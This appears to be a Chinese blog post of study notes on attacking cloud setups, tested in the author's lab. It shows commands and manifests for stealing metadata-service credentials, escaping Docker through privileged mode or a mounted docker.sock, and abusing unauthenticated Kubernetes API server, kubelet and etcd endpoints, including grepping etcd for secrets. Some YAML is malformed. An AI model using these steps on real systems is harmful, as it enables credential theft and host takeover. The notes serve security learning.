云安全学习篇#

OSS#

权限配置#

oss存储桶有三种情况,一种是私有,需要id和key才能访问存储桶内的文件。另一种是公共读,即访问无限制,任何人可以访问。最后一种是公共读写,即任何人可以读和写,使用PUT方法即可上传任意文件

image-20250425143926982

公共读还存在一个安全问题,即如果开启了ListObject,那么任何人都可以看到存储桶内的文件,以文件列表形式展示,类似目录遍历

域名接管#

一般来说存储桶不会解析像html这种文件,但是如果配置了域名绑定,也就是配置了CNAME,那么html就可以解析了,可以导致xss

域名接管就是基于域名绑定CNAME的配置没有删除,只删除了存储桶

举个例,比如你的oss地址是xxx.oss-cn-shenzhen.aliyuncs.com,此时你将images.aaa.com的域名绑定在了xxx.oss-cn-shenzhen.aliyuncs.com,也就是一条CNAME记录。之后你不想要这个存储桶了,于是删除了xxx.oss-cn-shenzhen.aliyuncs.com这个存储桶,但是你忘记删除CNAME记录了,也就是说此时images.aaa.com的域名还存在一条CNAME记录指向xxx.oss-cn-shenzhen.aliyuncs.com。

此时攻击者就可以自己创建一个xxx.oss-cn-shenzhen.aliyuncs.com,名称相同的存储桶,此时他对该存储桶是有读写权限的,而你的域名images.aaa.com又恰好指向xxx.oss-cn-shenzhen.aliyuncs.com,这就造成了images.aaa.com子域名接管

攻击场景

像如果你发现一个oss存储桶出现NosuchBucket提示,说明可能会存在域名接管。

image-20250425192835763

ECS#

元数据#

元数据服务是一种提供查询运行中的实例内元数据的服务,简单来说就是云服务器可以通过访问元数据服务,来得到本机上的属性信息,同时,如果此时该实例存在RAM访问控制设置,也就是某个角色授权了该实例,那么就可以获得与该实例绑定角色的临时凭证,并通过该临时凭证获得云服务器的控制台权限,进而横向到其他机器。

阿里云元数据地址: http://100.100.100.200/
腾讯云元数据地址: http://metadata.tencentyun.com/
华为云元数据地址: http://169.254.169.254/
亚马云元数据地址: http://169.254.169.254/
微软云元数据地址: http://169.254.169.254/
谷歌云元数据地址: http://metadata.google.internal/

通过访问元数据的 /iam/security-credentials/<rolename> 路径可以获得目标的临时凭证,进而接管目标服务器控制台账号权限,前提是目标需要配置 IAM 角色才行,不然访问会 404

curl http://169.254.169.254/latest/meta-data/iam/security-credentials

img

因此接管整个云服务只需获得到aksk即可

那么如何获取呢,第一种方法就是寻找代码中有没有泄露aksk。第二种方法是使用实例去访问元数据服务,获取临时凭证。

那么第二种方法很显然需要shell,能够执行curl命令,访问元数据。那么还有没有方法可以获取到呢?

我们要注意的是这里的请求是http请求,那么联系其他漏洞,是否可以使用ssrf去访问到元数据呢?答案是肯定的,不过需要有回显的ssrf,获取到aksk。再用cf接管整个云服务。

docker#

docker逃逸是个老话题,之前没有系统学习,学得都比较杂,这次整理一下笔记

逃逸不过三种方法,但是需要注意的是,除了linux内核逃逸,其他都需要root权限

  • 特权模式
  • 危险挂载
  • docker自身组件漏洞或linux内核漏洞

特权模式#

Linux Capabilities介绍#

Linux 是一种安全的操作系统,它把所有的系统权限都赋予了一个单一的 root 用户,只给普通用户保留有限的权限。root 用户拥有超级管理员权限,可以安装软件、允许某些服务、管理用户等。

作为普通用户,如果想执行某些只有管理员才有权限的操作,以前只有两种办法:一是通过 sudo 提升权限,如果用户很多,配置管理和权限控制会很麻烦;二是通过 SUID(Set User ID on execution)来实现,它可以让普通用户允许一个 owner 为 root 的可执行文件时具有 root 的权限。

SUID 的概念比较晦涩难懂,举个例子就明白了,以常用的 passwd 命令为例,修改用户密码是需要 root 权限的,但普通用户却可以通过这个命令来修改密码,这就是因为 /bin/passwd 被设置了 SUID 标识,所以普通用户执行 passwd 命令时,进程的 owner 就是 passwd 的所有者,也就是 root 用户。

SUID 虽然可以解决问题,但却带来了安全隐患。当运行设置了 SUID 的命令时,通常只是需要很小一部分的特权,但是 SUID 给了它 root 具有的全部权限。这些可执行文件是黑客的主要目标,如果他们发现了其中的漏洞,就很容易利用它来进行安全攻击。简而言之,SUID 机制增大了系统的安全攻击面。

为了对 root 权限进行更细粒度的控制,实现按需授权,Linux 引入了另一种机制叫 capabilities

Linux capabilities 是什么?#


Capabilities 机制是在 Linux 内核 2.2 之后引入的,原理很简单,就是将之前与超级用户 root(UID=0)关联的特权细分为不同的功能组,Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是 root,就去检查其是否具有该特权操作所对应的 capabilities,并以此为依据,决定是否可以执行特权操作。

Capabilities 可以在进程执行时赋予,也可以直接从父进程继承。所以理论上如果给 nginx 可执行文件赋予了 CAP_NET_BIND_SERVICE capabilities,那么它就能以普通用户运行并监听在 80 端口上。

capability 名称 描述
CAP_AUDIT_CONTROL 启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则
CAP_AUDIT_READ 允许通过 multicast netlink 套接字读取审计日志
CAP_AUDIT_WRITE 将记录写入内核审计日志
CAP_BLOCK_SUSPEND 使用可以阻止系统挂起的特性
CAP_CHOWN 修改文件所有者的权限
CAP_DAC_OVERRIDE 忽略文件的 DAC 访问限制
CAP_DAC_READ_SEARCH 忽略文件读及目录搜索的 DAC 访问限制
CAP_FOWNER 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制
CAP_FSETID 允许设置文件的 setuid 位
CAP_IPC_LOCK 允许锁定共享内存片段
CAP_IPC_OWNER 忽略 IPC 所有权检查
CAP_KILL 允许对不属于自己的进程发送信号
CAP_LEASE 允许修改文件锁的 FL_LEASE 标志
CAP_LINUX_IMMUTABLE 允许修改文件的 IMMUTABLE 和 APPEND 属性标志
CAP_MAC_ADMIN 允许 MAC 配置或状态更改
CAP_MAC_OVERRIDE 忽略文件的 DAC 访问限制
CAP_MKNOD 允许使用 mknod() 系统调用
CAP_NET_ADMIN 允许执行网络管理任务
CAP_NET_BIND_SERVICE 允许绑定到小于 1024 的端口
CAP_NET_BROADCAST 允许网络广播和多播访问
CAP_NET_RAW 允许使用原始套接字
CAP_SETGID 允许改变进程的 GID
CAP_SETFCAP 允许为文件设置任意的 capabilities
CAP_SETPCAP 参考 capabilities man page
CAP_SETUID 允许改变进程的 UID
CAP_SYS_ADMIN 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
CAP_SYS_BOOT 允许重新启动系统
CAP_SYS_CHROOT 允许使用 chroot() 系统调用
CAP_SYS_MODULE 允许插入和删除内核模块
CAP_SYS_NICE 允许提升优先级及设置其他进程的优先级
CAP_SYS_PACCT 允许执行进程的 BSD 式审计
CAP_SYS_PTRACE 允许跟踪任何进程
CAP_SYS_RAWIO 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备
CAP_SYS_RESOURCE 忽略资源限制
CAP_SYS_TIME 允许改变系统时钟
CAP_SYS_TTY_CONFIG 允许配置 TTY 设备
CAP_SYSLOG 允许使用 syslog() 系统调用
CAP_WAKE_ALARM 允许触发一些能唤醒系统的东西(比如 CLOCK_BOOTTIME_ALARM 计时器)

Privileged 特权模式#

首先来讲一下特权模式

docker run --rm -it --privileged=true ubuntu:18.04

判断是否为特权模式

在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

cat /proc/self/status | grep CapEff

特权模式下逃逸很简单,直接挂载宿主机根目录,添加任务计划或公钥即可

执行fdisk -l

Device       Start       End   Sectors  Size Type
/dev/sda1     2048      4095      2048    1M BIOS boot
/dev/sda2     4096   1054719   1050624  513M EFI System
/dev/sda3  1054720 125827071 124772352 59.5G Linux filesystem

然后挂载宿主机根目录到任意目录下

mkdir /test && mount /dev/sda3 /test

此时添加任务计划或写入公钥就可以获取宿主机shell了

image-20250426180653751

image-20250426180724761

SYS_PTRACE权限#

https://blog.csdn.net/CQ17743254852/article/details/133853670?spm=1001.2014.3001.5502

SYS_ADMIN权限#

https://blog.csdn.net/CQ17743254852/article/details/133824649?spm=1001.2014.3001.5502

危险挂载#

Docker Socket挂载#

Docker Socket挂载是将docker socket api挂载进容器内,因此容器内可以操作宿主机的docker socket api,所以我们可以新建一个容器,将宿主机的根目录挂载进新的容器内

docker run -itd --name test -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04

判断是否存在docker socket

root@410264c5488a:/# ls -lah /var/run/docker.sock
srw-rw---- 1 root 138 0 Jun 16  2024 /var/run/docker.sock
root@410264c5488a:/# find / -name docker.sock
/run/docker.sock

容器内安装docker,新建一个容器,将宿主机的根目录挂载进新的容器内,然后chroot到宿主机目录即可

image-20250426184436780

procfs文件挂载#

https://blog.csdn.net/CQ17743254852/article/details/133847625?spm=1001.2014.3001.5502

docker自身组件漏洞或linux内核漏洞#

CVE-2019-5736#

https://blog.csdn.net/CQ17743254852/article/details/133857208?spm=1001.2014.3001.5502

CVE-2020-15257#

https://blog.csdn.net/CQ17743254852/article/details/133799809?spm=1001.2014.3001.5502

kubernetes#

以下是k8s的大致结构,存在master主控节点和node工作节点,master通过api server控制node节点,下发工作任务,同时还有etcd存储节点信息、pod和容器状态等等。

node节点通过kubelet接收master节点下发的工作任务,创建或销毁pod,这里的pod就等同于docker容器。

img

接下来简单讲下大致的攻击点有哪些

api server未授权#

api server未授权存在两种情况,一种是k8s版本<1.16或大于1.16版本却启用了不安全的配置,暴露了不安全的8080端口,使得攻击者可以直接操作api server。

另一种是k8s>1.16,如果配置不当,将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。

如果存在这样的页面,一般都会存在未授权访问

image-20250429114146492

8080端口#

kubectl -s <url> get nodes    #获取所有节点
kubectl -s <url> get pods     #获取所有容器
kubectl -s <url> apply -f test.yaml    #部署恶意容器
kubectl -s <url> exec -it test /bin/bash    #进入刚刚创建好的容器

test.yaml的内容

apiVersion: v1
kind: Pod
metadata:
  name: test
spec :
  containers:
  - image: nginx
  name: test-container
  volumeMounts :
  - mountPath: /mnt
    name: test-volume
  volumes :
  - name: test-volume
    hostPath:
    path: /

这里使用自己搭建的环境测试,本地就不需要-s参数了

image-20250428184323722

然后查看/mnt是否为node宿主机目录

无docker文件,确定为宿主机目录

image-20250428184411924

接下来写公钥或写任务计划获取shell都可以

image-20250428184845037

6443端口#

远程获取所有节点信息,用户名和密码随意输入

$ kubectl -s https://192.168.239.100:6443 --insecure-skip-tls-verify get nodes
Please enter Username: sf
Please enter Password: NAME         STATUS   ROLES                  AGE   VERSION
k8s-master   Ready    control-plane,master   21h   v1.22.0
k8s-node1    Ready    <none>                 21h   v1.22.0
k8s-node2    Ready    <none>                 21h   v1.22.0

然后我们需要发送post数据包来创建恶意容器

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "annotations": {
            "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
        },
        "name": "sectest",
        "namespace": "default"
    },
    "spec": {
        "containers": [
            {
                "image": "nginx:1.14.2",
                "name": "test-4444",
                "volumeMounts": [
                    {
                        "mountPath": "/host",
                        "name": "host"
                    }
                ]
            }
        ],
        "volumes": [
            {
                "hostPath": {
                    "path": "/",
                    "type": "Directory"
                },
                "name": "host"
            }
        ]
    }
}

服务器返回201created(我这里使用了我朋友的镜像仓库,不然nginx镜像拉不下来)

image-20250428193320701

此时查看pod

image-20250428193236244

kubectl -s https://192.168.239.100:6443 --insecure-skip-tls-verify get pods
kubectl -s https://192.168.239.100:6443 --insecure-skip-tls-verify exec -it sectest -- /bin/bash

接下来的逃逸方法就和8080端口相同了

kubelet未授权#

kubelet未授权端口为10250,若访问https://192.168.239.101:10250/pods地址出现如下图所示的情况,大概率会有kubelet未授权

image-20250429114351663

https://192.168.239.101:10250/runningpods/        #展示当前正在运行的pod
curl -XPOST -k "https://192.168.239.101:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"  #对应pod执行命令

image-20250429115643427

image-20250429115324446

etcd未授权#

etcd有v2和v3两个版本,现在的k8s大多都使用的是v3版本

v2版本利用

https://ip:2379/v2/keys?recursive=true        #直接访问该url即可获取到所有的key-value

v3版本利用

需要用到etcdctl客户端

https://github.com/etcd-io/etcd

./etcdctl --endpoints=ip:2379 get / --prefix       #获取所有的key-value
./etcdctl --endpoints=ip:2379 put /a/b "values"    #put一个键值
./etcdctl --endpoints=ip:2379 get / --prefix --keys-only | grep /secrets/      #寻找token
#获取到token后直接调用api
kubectl --insecure-skip-tls-verify -s https://ip:6443/ --token="[ey...]" -n kube-system get pods  

dashbroad未授权#

dashbroad未授权是由于管理员在部署k8s dashbroad时增加了 --enable-skip-login选项,造成可以skip跳过登录验证,直接进入控制面板,操作api server

config文件泄露#

config文件位于$HOME/.kube/config,若该文件泄露,攻击者可直接调用api server

image-20250429181559209

kubectl-proxy不安全配置#

kubectl-proxy顾名思义就是一个代理组件,可以将服务和端口暴露出去,若管理员将api server暴露出去,将造成api server未授权

执行以下命令就可以将api server暴露出去

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

可以看到本来需要身份认证的api,现在可以直接访问,造成api server 未授权

image-20250429182429962

k8s中的污点和容忍度概念#

以下是chatgpt-4o的解释,我认为解释得非常清楚

在 Kubernetes 中,污点(Taint)容忍(Toleration) 是用来控制 Pod 在特定节点上的调度的一种机制。污点横移(Taint Propagation)是指在一个节点上设置的污点可能会通过 Pod 或者节点的亲和性(Affinity)规则,影响到与之关联的其他节点或 Pod 的调度。

污点和容忍的基本概念

  • 污点(Taint)
    • 污点是节点上的一个属性,它标记了一个节点的某种“特殊”状态(比如节点不可用、节点有问题等)。当一个节点上有污点时,默认情况下,Kubernetes 不会调度 Pod 到这个节点上,除非该 Pod 对应有容忍。
    • 污点的格式是:key=value:effect,其中:
      • keyvalue 是键值对,用来描述污点的具体内容。
      • effect 是污点的效果,有三个选项:
        • NoSchedule:表示不调度 Pod 到该节点。
        • PreferNoSchedule:表示尽量避免调度 Pod 到该节点,但如果没有其他选择,可以调度。
        • NoExecute:表示不仅不调度 Pod 到该节点,还会驱逐已经在该节点上的 Pod。
  • 容忍(Toleration)
    • 容忍是 Pod 对污点的容忍度,它允许 Pod 被调度到带有相应污点的节点上。Pod 的容忍度和节点的污点相匹配时,Pod 就能在该节点上调度或继续运行。
    • 容忍的格式是:key=value:effect,它与污点的格式对应。

污点横移#

Kubernetes 1.6 版本开始,Kubernetes 默认为 master 节点 添加了污点 node-role.kubernetes.io/master:NoSchedule。这个污点的作用是防止调度器将 Pod 默认调度到 master 节点,从而提高集群的安全性和稳定性。

我们可以创建一个具有NoSchedule容忍度的恶意pod,此时该pod创建在master和node节点上的概率就相同了,因为该pod容忍了NoSchedule,一旦存在某个恶意pod创建在了master上,我们就可以获取到master的主机权限了。

apiVersion: vl
kind: Pod
metadata:
  name: control-master-3
spec:
  tolerations:
    - key: node-role.kubernetes.io/master
      operator: Exists
      effect: NoSchedule
  containers:
    - name: control-master-3
      image: registry.cn-chengdu.aliyuncs.com/su03/nginx:latest
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
      - name: master
        mountPath: /master
  volumes:
    - name: master
  hostPath:
    path: /
    type: Directory

在拿到node权限后进行横向获取其他node和master主机权限。但我搭建的1.22版本的k8s并没有符合我的预期,反而一直创建在node节点上

[root@k8s-master ~]# kubectl get pods -o wide
NAME               READY   STATUS    RESTARTS   AGE     IP            NODE        NOMINATED NODE   READINESS GATES
control-master-1   1/1     Running   0          4m10s   10.244.2.3    k8s-node2   <none>           <none>
control-master-2   1/1     Running   0          3m43s   10.244.1.11   k8s-node1   <none>           <none>
control-master-3   1/1     Running   0          4m40s   10.244.1.10   k8s-node1   <none>           <none>
control-master-4   1/1     Running   0          3m3s    10.244.1.12   k8s-node1   <none>           <none>
control-master-5   1/1     Running   0          98s     10.244.2.4    k8s-node2   <none>           <none>
control-master-6   1/1     Running   0          84s     10.244.2.5    k8s-node2   <none>           <none>
control-master-7   1/1     Running   0          67s     10.244.1.13   k8s-node1   <none>           <none>
test               1/1     Running   0          46h     10.244.2.2    k8s-node2   <none>           <none>

这是因为master 节点通常有 node-role.kubernetes.io/master:NoSchedule 或 node-role.kubernetes.io/control-plane:NoSchedule 污点,导致 Flannel 的 DaemonSet(如 kube-flannel-ds)默认不会调度到 master 节点。因此,master 节点上没有运行 Flannel 相关的容器,/run/flannel/subnet.env 文件也未生成。

那为什么这篇文章可以呢?

https://cn-sec.com/archives/1336486.html

在较早版本中,Flannel 的官方 kube-flannel.yml 配置文件可能默认包含了对 node-role.kubernetes.io/master:NoSchedule 污点的容忍度。这意味着 Flannel 的 Pod(kube-flannel-ds)可以调度到 master 节点,无需额外修改。

参考文章:

https://wiki.teamssix.com/CloudService/

https://blog.csdn.net/lza20001103/article/details/147054749

https://blog.csdn.net/ggqiuhui/article/details/145599805

https://cn-sec.com/archives/1336486.html